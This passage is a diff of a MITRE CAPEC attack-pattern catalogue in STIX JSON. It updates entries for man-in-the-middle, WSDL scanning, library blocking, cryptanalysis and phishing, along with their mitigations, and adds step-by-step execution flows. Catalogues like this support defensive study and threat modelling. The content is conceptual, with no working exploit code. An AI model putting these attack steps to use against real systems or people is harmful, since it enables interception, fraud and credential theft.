"object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Avoid viewing logs with tools that may interpret control characters in the file, such as command-line shells.", - "type": "course-of-action", - "id": "course-of-action--7e6b79fb-dad6-48d5-8cf7-178e70577c8a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--eb05b9ba-1c0b-4cf6-a5cf-94af69a17b39", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--eb05b9ba-1c0b-4cf6-a5cf-94af69a17b39", "source_ref": "course-of-action--7e6b79fb-dad6-48d5-8cf7-178e70577c8a", "relationship_type": "mitigates", "target_ref": "attack-pattern--1dd1397d-816a-4093-86a6-cf28bb32e486" }, { + "id": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b", "name": "Man in the Middle Attack", - "description": "This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components. MITM attacks differ from sniffing attacks since they often modify the communications prior to delivering it to the intended recipient. These attacks also differ from interception attacks since they may forward the sender's original unmodified data, after copying it, instead of keeping it for themselves.", + "description": "This type of attack targets the communication between two components (typically client and server). The attacker places themself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never observed. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components. MITM attacks differ from sniffing attacks since they often modify the communications prior to delivering it to the intended recipient. These attacks also differ from interception attacks since they may forward the sender's original unmodified data, after copying it, instead of keeping it for themselves.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -46484,6 +51398,18 @@ "url": "http://cwe.mitre.org/data/definitions/724.html", "external_id": "CWE-724" }, + { + "source_name": "ATTACK", + "description": "Man-in-the-Middle", + "url": "https://attack.mitre.org/wiki/Technique/T1557", + "external_id": "T1557" + }, + { + "source_name": "ATTACK", + "description": "Man in the Browser", + "url": "https://attack.mitre.org/wiki/Technique/T1185", + "external_id": "T1185" + }, { "source_name": "reference_from_CAPEC", "description": "M. Bishop, Computer Security: Art and Science, 2003, Addison-Wesley", @@ -46519,114 +51445,123 @@ }, "x_capec_abstraction": "Meta", "x_capec_example_instances": [ - "\n Leveraging security vulnerabilities and inherent functionality within web browsers, an adversary may be able to execute a \"Man in the Browser\" (MITB) attack. The initial compromise of this attack is generally a Trojan delivered to a victim's system via phishing attacks, drive-by malware installations, or malicious browser extensions. Once the Trojan is on the victim system, the adversary can observe and intercept traffic such as cookies, HTTP sessions, and SSL client certificate, which may allow for browser pivoting into an authenticated session. MITB attacks also circumvent common security mechanisms such as two and three factor authentication, as well as SSL/PKI.\n For example, after installing a Trojan, an adversary positions himself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that he controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.\n " + "\n Leveraging security vulnerabilities and inherent functionality within web browsers, an adversary may be able to execute a \"Man in the Browser\" (MITB) attack. The initial compromise of this attack is generally a Trojan delivered to a victim's system via phishing attacks, drive-by malware installations, or malicious browser extensions. Once the Trojan is on the victim system, the adversary can observe and intercept traffic such as cookies, HTTP sessions, and SSL client certificate, which may allow for browser pivoting into an authenticated session. MITB attacks also circumvent common security mechanisms such as two and three factor authentication, as well as SSL/PKI.\n For example, after installing a Trojan, an adversary positions themself between the victim and their banking institution. The victim begins by initiating a funds transfer from their personal savings to their personal checking account. Using injected JavaScript, the adversary captures this request and modifies it to transfer an increased amount of funds to an account that they controls, before sending it to the bank. The bank processes the transfer and sends the confirmation notice back to the victim, which is instead intercepted by the adversary. The adversary modifies the confirmation to reflect the original transaction details and sends this modified message back to the victim. Upon receiving the confirmation, the victim assumes the transfer was successful and is unaware that their money has just been transferred to the adversary.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker probes to determine the nature and mechanism of communication between two components looking for opportunities to exploit.

  2. The attacker inserts themself into the communication channel initially acting as a routing proxy between the two targeted components. The attacker may or may not have to use cryptography.

Exploit

  1. The attacker observes, filters or alters passed data of its choosing to gain access to sensitive information or to manipulate the actions of the two target components for their own purposes.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--1ac4e142-ed42-4b18-96e4-c27ba8f78a5a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-94-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Get your Public Key signed by a Certificate Authority", - "type": "course-of-action", - "id": "course-of-action--1ac4e142-ed42-4b18-96e4-c27ba8f78a5a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6900014a-371f-4569-ba27-5976e176fcd4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6900014a-371f-4569-ba27-5976e176fcd4", "source_ref": "course-of-action--1ac4e142-ed42-4b18-96e4-c27ba8f78a5a", "relationship_type": "mitigates", "target_ref": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b" }, { + "id": "course-of-action--1b0ce9cc-1116-4cb5-bfb9-19b899a9a24d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-94-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Encrypt your communication using cryptography (SSL,...)", - "type": "course-of-action", - "id": "course-of-action--1b0ce9cc-1116-4cb5-bfb9-19b899a9a24d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1ce83439-96d4-423e-8632-3a93055535b1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1ce83439-96d4-423e-8632-3a93055535b1", "source_ref": "course-of-action--1b0ce9cc-1116-4cb5-bfb9-19b899a9a24d", "relationship_type": "mitigates", "target_ref": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b" }, { + "id": "course-of-action--667b8791-5eee-4dfc-86ae-fb68a7b5b8ca", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-94-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use Strong mutual authentication to always fully authenticate both ends of any communications channel.", - "type": "course-of-action", - "id": "course-of-action--667b8791-5eee-4dfc-86ae-fb68a7b5b8ca" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3043134e-bd5e-43ae-93a4-4f2f31bda6cb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3043134e-bd5e-43ae-93a4-4f2f31bda6cb", "source_ref": "course-of-action--667b8791-5eee-4dfc-86ae-fb68a7b5b8ca", "relationship_type": "mitigates", "target_ref": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b" }, { + "id": "course-of-action--45042a19-1cd7-40b5-a3bf-d96506a0cf28", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-94-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Exchange public keys using a secure channel", - "type": "course-of-action", - "id": "course-of-action--45042a19-1cd7-40b5-a3bf-d96506a0cf28" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cbfe5c41-f0ba-4524-aeaa-5d46d305a1a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cbfe5c41-f0ba-4524-aeaa-5d46d305a1a7", "source_ref": "course-of-action--45042a19-1cd7-40b5-a3bf-d96506a0cf28", "relationship_type": "mitigates", "target_ref": "attack-pattern--38964770-4f39-4191-89cf-73a625162b2b" }, { + "id": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12", "name": "WSDL Scanning", "description": "This attack targets the WSDL interface made available by a web service. The attacker may scan the WSDL interface to reveal sensitive information about invocation patterns, underlying technology implementations and associated vulnerabilities. This type of probing is carried out to perform more serious attacks (e.g. parameter tampering, malicious content injection, command injection, etc.). WSDL files provide detailed information about the services ports and bindings available to consumers. For instance, the attacker can submit special characters or malicious content to the Web service and can cause a denial of service condition or illegal access to database records. In addition, the attacker may try to guess other private methods by using the information provided in the WSDL files.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -46679,12 +51614,13 @@ "A WSDL interface may expose a function vulnerable to SQL Injection.", "\n The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services.\n Because WSDL generation often is automated, enterprising adversaries can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods.\n Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent adversary with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality.\n Source : \"Seven Steps to XML Mastery, Step 7: Ensure XML Security\", Frank Coyle. See reference section.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The first step is exploratory meaning the attacker scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the attacker.

Experiment

  1. The second step that an attacker would undertake is to analyze the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The attacker could run through all of the operations with different message request patterns until a breach is identified.

Exploit

  1. Once an attacker finds a potential weakness, they can craft malicious content to be sent to the system. For instance the attacker may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the attacker may not be XML validated and cause unexpected behavior.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--2cfb5b02-2dbe-4bbb-93b6-d0829c53a835", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -46693,23 +51629,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "It is important to protect WSDL file or provide limited access to it.", - "type": "course-of-action", - "id": "course-of-action--2cfb5b02-2dbe-4bbb-93b6-d0829c53a835" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--eca4d328-57ff-446e-ad42-ccc2cef859ec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--eca4d328-57ff-446e-ad42-ccc2cef859ec", "source_ref": "course-of-action--2cfb5b02-2dbe-4bbb-93b6-d0829c53a835", "relationship_type": "mitigates", "target_ref": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" }, { + "id": "course-of-action--59dfec85-61f1-4800-8246-6586b0f18405", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -46718,23 +51656,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Review the functions exposed by the WSDL interface (especially if you have used a tool to generate it). Make sure that none of them is vulnerable to injection.", - "type": "course-of-action", - "id": "course-of-action--59dfec85-61f1-4800-8246-6586b0f18405" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4c5539c8-19a6-45b2-bcb9-4fb404dc382b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4c5539c8-19a6-45b2-bcb9-4fb404dc382b", "source_ref": "course-of-action--59dfec85-61f1-4800-8246-6586b0f18405", "relationship_type": "mitigates", "target_ref": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" }, { + "id": "course-of-action--60133447-62bd-43b7-a58c-27e99dacd061", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -46743,23 +51683,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure the WSDL does not expose functions and APIs that were not intended to be exposed.", - "type": "course-of-action", - "id": "course-of-action--60133447-62bd-43b7-a58c-27e99dacd061" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--8b13c359-babb-4e00-bfc7-ea8f84451bfe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8b13c359-babb-4e00-bfc7-ea8f84451bfe", "source_ref": "course-of-action--60133447-62bd-43b7-a58c-27e99dacd061", "relationship_type": "mitigates", "target_ref": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" }, { + "id": "course-of-action--7744ac94-d428-48ef-9b81-ccac789d7e79", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -46768,23 +51710,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pay attention to the function naming convention (within the WSDL interface). Easy to guess function name may be an entry point for attack.", - "type": "course-of-action", - "id": "course-of-action--7744ac94-d428-48ef-9b81-ccac789d7e79" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7a99d577-7a8d-4c25-a919-00e88b344543", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7a99d577-7a8d-4c25-a919-00e88b344543", "source_ref": "course-of-action--7744ac94-d428-48ef-9b81-ccac789d7e79", "relationship_type": "mitigates", "target_ref": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" }, { + "id": "course-of-action--36790523-1c9a-42c0-97ff-726d74a27ad4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -46793,23 +51737,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Validate the received messages against the WSDL Schema. Incomplete solution.", - "type": "course-of-action", - "id": "course-of-action--36790523-1c9a-42c0-97ff-726d74a27ad4" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--e8c83203-1d4b-4007-9bfc-d9e5e4cd1040", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e8c83203-1d4b-4007-9bfc-d9e5e4cd1040", "source_ref": "course-of-action--36790523-1c9a-42c0-97ff-726d74a27ad4", "relationship_type": "mitigates", "target_ref": "attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12" }, { + "id": "attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5", "name": "Block Access to Libraries", "description": "An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. It is possible that the application does not handle situations properly where access to these libraries has been blocked. Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -46863,12 +51809,13 @@ "x_capec_example_instances": [ "A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the application. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine what external libraries the application accesses.

Experiment

  1. Block access to the external libraries accessed by the application.

  2. Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.

  3. If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e537380d-e149-4eca-9d47-bb2f507a166b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -46877,23 +51824,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that application handles situations where access to APIs in external libraries is not available securely. If the application cannot continue its execution safely it should fail in a consistent and secure fashion.", - "type": "course-of-action", - "id": "course-of-action--e537380d-e149-4eca-9d47-bb2f507a166b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--348327f8-a11a-4875-acca-449bc953ceb1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--348327f8-a11a-4875-acca-449bc953ceb1", "source_ref": "course-of-action--e537380d-e149-4eca-9d47-bb2f507a166b", "relationship_type": "mitigates", "target_ref": "attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5" }, { + "id": "attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f", "name": "Cryptanalysis", "description": "Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -46901,7 +51850,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -46913,6 +51862,21 @@ "url": "http://cwe.mitre.org/data/definitions/327.html", "external_id": "CWE-327" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1240.html", + "external_id": "CWE-1240" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1241.html", + "external_id": "CWE-1241" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1279.html", + "external_id": "CWE-1279" + }, { "source_name": "reference_from_CAPEC", "description": "Wikipedia, The Wikimedia Foundation, Inc", @@ -46943,62 +51907,67 @@ "x_capec_example_instances": [ "A very easy to understand example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed mono-alphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While mono-alphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis uses the fact that natural language is not random and mono-alphabetic substitution does not hide the statistical properties of the natural language. So if the letter \"E\" in an English language occurs with a certain known frequency (about 12.7%), whatever \"E\" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is inapplicable to modern cryptographic ciphers but is here to illustrate a rudimentary example of cryptanalysis." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.

Exploit

  1. An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--722bfc5b-c0b1-457d-aa1b-4918cf8f3974", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-97-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use proven cryptographic algorithms with recommended key sizes.", - "type": "course-of-action", - "id": "course-of-action--722bfc5b-c0b1-457d-aa1b-4918cf8f3974" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--abc4a679-2285-4f45-82cd-1109211ab070", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--abc4a679-2285-4f45-82cd-1109211ab070", "source_ref": "course-of-action--722bfc5b-c0b1-457d-aa1b-4918cf8f3974", "relationship_type": "mitigates", "target_ref": "attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f" }, { + "id": "course-of-action--d1837c64-1721-442a-9529-e6db4d3d52d5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-97-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Ensure that the algorithms are used properly. That means:\n \n \n 1. Not rolling out your own crypto; Use proven algorithms and implementations.\n 2. Choosing initialization vectors with sufficiently random numbers\n 3. Generating key material using good sources of randomness and avoiding known weak keys\n 4. Using proven protocols and their implementations.\n 5. Picking the most appropriate cryptographic algorithm for your usage context and data\n \n \n ", - "type": "course-of-action", - "id": "course-of-action--d1837c64-1721-442a-9529-e6db4d3d52d5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--abc56011-9008-43ef-8065-2fae537a7c40", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--abc56011-9008-43ef-8065-2fae537a7c40", "source_ref": "course-of-action--d1837c64-1721-442a-9529-e6db4d3d52d5", "relationship_type": "mitigates", "target_ref": "attack-pattern--f1336271-5f27-40de-a61b-aba6572d120f" }, { + "id": "attack-pattern--a00c2cc2-bd4f-4594-9ec1-b021b62ac896", "name": "Phishing", "description": "Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or \"fishing\" for information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -47006,12 +51975,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/98.html", "external_id": "CAPEC-98" + }, + { + "source_name": "ATTACK", + "description": "Phishing", + "url": "https://attack.mitre.org/wiki/Technique/T1566", + "external_id": "T1566" } ], "x_capec_likelihood_of_attack": "High", @@ -47045,27 +52020,29 @@ }, "x_capec_abstraction": "Standard", "x_capec_example_instances": [ - "John gets an official looking e-mail from his bank stating that his or her account has been temporarily locked due to suspected unauthorized activity and that John needs to click on the link included in the e-mail to log in to his bank account in order to unlock it. The link in the e-mail looks very similar to that of his bank and once the link is clicked, the log in page is the exact replica. John supplies his login credentials after which he is notified that his account has now been unlocked and that everything is fine. An attacker has just collected John's online banking information which can now be used by him or her to log into John's bank account and transfer John's money to a bank account of the attackers' choice." + "The target gets an official looking e-mail from their bank stating that their their account has been temporarily locked due to suspected unauthorized activity and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the 